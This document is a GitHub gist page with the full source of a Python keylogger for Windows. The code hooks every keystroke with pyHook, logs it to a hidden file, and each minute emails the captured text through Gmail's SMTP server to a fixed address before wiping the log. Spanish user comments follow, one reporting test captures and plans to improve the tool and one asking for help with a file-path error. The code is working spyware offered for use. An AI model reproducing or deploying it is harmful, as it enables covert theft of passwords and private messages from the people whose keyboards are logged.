-
-
Save KelviNosse/3166d6123bd26c066c462328bebcf0c0 to your computer and use it in GitHub Desktop.
import pyHook, pythoncom, sys, logging | |
import time, datetime | |
wait_seconds = 60 | |
timeout = time.time() + wait_seconds | |
file_log = 'C:\\secret\\dat.txt' | |
def TimeOut(): | |
if time.time() > timeout: | |
return True | |
else: | |
return False | |
def SendEmail(user, pwd, recipient, subject, body): | |
import smtplib | |
gmail_user= user | |
gmail_pass = pwd | |
FROM = user | |
TO = recipient if type(recipient) is list else [recipient] | |
SUBJECT = subject | |
TEXT = body | |
message = """\From: %s\nTo: %s\nSubject: %s\n\n%s | |
""" % (FROM, ", ".join(TO), SUBJECT, TEXT) | |
try: | |
server = smtplib.SMTP("smtp.gmail.com", 587) | |
server.ehlo() | |
server.starttls() | |
server.login(gmail_user, gmail_pass) | |
server.sendmail(FROM, TO, message) | |
server.close() | |
print 'Correo enviado satisfactoriamente!' | |
except: | |
print 'Error al mandar correo!' | |
def FormatAndSendLogEmail(): | |
with open(file_log, 'r+') as f: | |
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") | |
data = f.read().replace('\n', '') | |
data = 'Log capturado a las: '+ actualdate + '\n' + data | |
SendEmail('[email protected]', 'tuclave', '[email protected]', | |
'Nuevo log - '+actualdate, data) | |
f.seek(0) | |
f.truncate() | |
def OnKeyboardEvent(event): | |
logging.basicConfig(filename=file_log, level=logging.DEBUG, | |
format = '%(message)s') | |
logging.log(10, chr(event.Ascii)) | |
return True | |
hooks_manager = pyHook.HookManager() | |
hooks_manager.KeyDown = OnKeyboardEvent | |
hooks_manager.HookKeyboard() | |
while True: | |
if TimeOut(): | |
FormatAndSendLogEmail() | |
timeout = time.time() + wait_seconds | |
pythoncom.PumpWaitingMessages() |
ya lo chequeé, revisé y creo que todo irá bien
KeyLogger Python 3.7.0rc1
Me ha funcionado en un 80%. Algunos caracteres no aparecen.
Ej: Hare un texto corrido solo que le bajare a 20 segundos
Original:" Estoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
" no c e stoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
Ej 2: Original: Hola me llamo githubnamed y vengo a probar este keylogger para la materia
Mandado: c h ola me llamo githubnamed p y vend go a probar este keylogger para la materia .
Resumen: Es aceptable aunque puede mejorar como por ejemplo el código de M1ndBlast tiene algo que este no.
Y es mostrar el programa en el cual se esta escribiendo, sin embargo a la hora de capturar los datos es lo mas difícil puesto que lo captura con todo y id de la tecla.
Intentare combinar ambos.
Me sale este error!!! ayuda por favor
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\asd\log.pyw", line 49, in OnKeyboardEvent
format = '%(message)s')
File "C:\Python27\lib\logging_init_.py", line 1547, in basicConfig
hdlr = FileHandler(filename, mode)
File "C:\Python27\lib\logging_init_.py", line 913, in init
StreamHandler.init(self, self.open())
File "C:\Python27\lib\logging_init.py", line 943, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 2] No such file or directory: 'C:\secret\dat.txt'